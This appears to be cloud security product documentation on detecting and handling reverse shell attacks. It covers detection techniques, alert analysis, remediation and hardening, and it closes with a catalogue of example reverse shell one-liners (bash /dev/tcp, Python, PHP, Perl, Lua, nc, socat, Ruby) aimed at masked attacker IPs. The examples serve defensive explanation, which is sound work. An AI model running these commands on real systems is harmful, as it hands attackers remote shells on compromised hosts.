Security Center:Detect and handle reverse shell attacks

Core approach

To counter complex and evolving reverse shell attacks, Security Center goes beyond traditional methods that rely on single-feature matching. It builds a next-generation, multi-layered detection system based on these core principles:

• Beyond traditional signatures: Focus on the fundamental behavior of attacks rather than unstable static features like regular expressions.

• Multi-dimensional data collection: Use a host agent to collect comprehensive real-time data, including process, file, network, and kernel call information.

• Cloud-based intelligent analysis: Use a cloud-based big data platform for correlation analysis and behavioral modeling on massive datasets to enable cross-validation.

This defense-in-depth system, combining cloud and endpoint detection, accurately and efficiently detects both known and unknown attacks. This improves overall detection rates and accuracy.

Key detection technologies

The Security Center detection system consists of multiple key technologies that reconstruct attack behaviors from different dimensions to enable cross-validation.

• File Descriptor (FD) analysis

  • Detection principle and method: Monitor process file descriptors in real time. If a shell process's standard input, output, or error is redirected to a network socket, an alert is triggered immediately.

  • Primary detection target: Reverse shells launched directly with commands like bash -i >& /dev/tcp/... that use I/O redirection.

• Anomalous command sequence analysis

  • Detection principle and method: Establish a baseline of normal command sequences for the server using a big data platform. When an anomalous sequence matching known attack patterns (such as reconnaissance or privilege escalation) is detected, it's flagged as high-risk.

  • Primary detection target: Reverse shells implemented through scripting languages like Python or Perl that lack obvious shell process characteristics, and their subsequent lateral movement behaviors.

• Anomalous process startup chain analysis

  • Detection principle and method: Comprehensively analyze process parent-child relationships, startup parameters, user context, and historical behavior to identify non-interactive shells launched by anomalous parent processes, such as web services.

  • Primary detection target: Reverse shells triggered by web vulnerabilities that are hidden within normal service traffic.

• In-depth malicious file analysis

  • Detection principle and method:

    • Script sandbox: Performs dynamic tracing and static decompilation on persisted scripts (Bash, Python, JAR) to identify malicious logic in obfuscated code.

    • Binary sandbox: Analyzes imported functions, code structure, and dynamic behavior (such as network connectivity) of compiled programs (C/C++, Go, Meterpreter).

  • Primary detection target: Highly obfuscated or encrypted script trojans. Compiled reverse shell programs written in C/C++ or Go, or generated by Meterpreter.

• Detection of adversarial network traffic features

  • Detection principle and method: Analyze network traffic for interactive shell communication features and detect common evasion behaviors such as replacing system shells or command encoding.

  • Primary detection target: Serves as a supplementary method to enhance coverage of known attack patterns and evasion techniques.

Enable reverse shell detection

If you have subscribed to a paid edition of Security Center and the agent is installed and online on the target server, reverse shell detection is enabled by default. No manual configuration is required.

Analyze and interpret alerts

When Security Center detects suspicious reverse shell activity, go to the CTDR > Alert or Detection and Response > Alert page. Locate the reverse shell alert and go to the alert details page. When analyzing the alert, focus on the following information:

• Threat Level: Usually High, indicating that the alert requires immediate attention and handling.

• Process Information: Shows the process path and command line parameters that triggered the alert. This is crucial for determining whether the behavior is malicious. For example, a /bin/bash -i process started by the www-data user is a typical high-risk indicator.

• Parent Process Information: Provides the source of the suspicious process, helping trace the attack path. For example, if the parent process is a web server (such as Apache or Nginx), the attack likely originated from a web vulnerability.

• Outbound Connection Information: If present, this section shows the remote IP address and port that the suspicious process connected to. This IP address is the attacker's control server.

Handle alerts

On the alert details page, you can take the following actions based on your business needs and risk assessment. For more information, see Analyze and handle security alerts.

• Virus Detection and Removal: Immediately stops the virus process and moves the virus file to a quarantine area. Quarantined files cannot be executed, accessed, or spread. This is the most comprehensive one-click solution.

• Quarantine: Moves only the suspicious file to the quarantine area, preventing it from running. This operation does not immediately stop running processes.

• End Process: Immediately stops the malicious process associated with the alert to quickly cut off the attack.

• Add to Whitelist: If your investigation confirms that the alert was a false positive triggered by normal operations and maintenance (O&M) or business scripts, you can add the alert to the whitelist.

  Note

  You can set whitelist rules based on file paths, MD5 hashes, or other criteria to prevent similar events from generating alerts again.

Security hardening

1. Block network connections

   • Find the attacker's IP address in the alert details.

   • Configure security group policies to deny all access from this IP address in both inbound and outbound directions. This completely cuts off the attacker's connection.

2. Remove persistent back doors

   Attackers often set up persistence mechanisms to maintain control. Log on to the server to investigate the following items:

   • Check scheduled tasks: Run crontab -l -u <user>, where <user> is the user running the suspicious process, such as root or www-data. Check for any suspicious scheduled tasks. If you find any, use crontab -e to edit the file and delete the malicious entry.

   • Delete malicious files: Use the file path provided in the alert to find and delete the malicious script or binary file on the server.

3. Perform a full scan and harden the server

   • In the Security Center console, go to the Protection Configuration > Host Protection > Virus Detection and Removal page. Perform a full file scan and backdoor detection on the server to ensure that no other hidden malicious files exist.

   • Check for and fix security vulnerabilities on the server to eliminate the attack entry point.

Type 1: Direct I/O redirection to socket

• Core principle: This type redirects the standard input, output, and error streams of bash -i to a /dev/tcp Socket for network communication.

  

• Detection approach: File Descriptor (FD) analysis. This monitors a process's FD table to detect whether the shell process's standard I/O is redirected to a network socket.

• Attack examples:

  • Example 1:

    bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1

  • Example 2:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",6060));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  • Example 3:

    php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'

  • Example 4:

    perl -e 'use Socket;$i="10.10.XX.XX";$p=6060;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  • Example 5:

    lua -e 
    "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Type 2: I/O redirection through intermediaries like pipes or pseudo-terminals

• Core principle: This type uses a pipe or pseudo-terminal (PTY) as an intermediary. The shell's I/O is first redirected to the intermediary, and then another process connects the intermediary to a network socket. In some variations, data may pass through multiple layers of intermediaries, ultimately forming a complete remote control channel.

  

• Detection approach: FD link tracing and process relationship analysis. Trace the complete FD link through which the data stream flows to identify anomalous process chains that connect to network sockets through pipes or PTYs.

• Attack examples:

  • Example 1:

    mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f

  • Example 2:

    nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060

  • Example 3:

    mknod backpipe p; nc 10.10.XX.XX 6060 0backpipe 2>backpipe

  • Example 4:

    bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'

  • Example 5:

    telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050

  • Example 6: Using a pseudo-terminal as an intermediary. This type is more difficult to detect and requires comprehensive contextual analysis.

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Type 3: Using programming languages to implement command execution and I/O redirection

• Core principle: The logic is implemented within a scripting language, such as Python or Ruby, instead of using the shell's redirection features directly. The code receives network commands, calls functions such as subprocess or exec to execute them, and then sends the results back.

• Detection approach: Behavioral sequence analysis and anomalous startup models. Because the attack logic is wrapped in code, higher-level detection is required. Threats are detected by analyzing anomalous command sequences (such as reconnaissance behavior after obtaining a shell) or by identifying shells started by anomalous parent processes, such as web services.

• Attack examples:

  • Example 1:

    python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

  • Example 2:

    lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

  • Example 3:

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'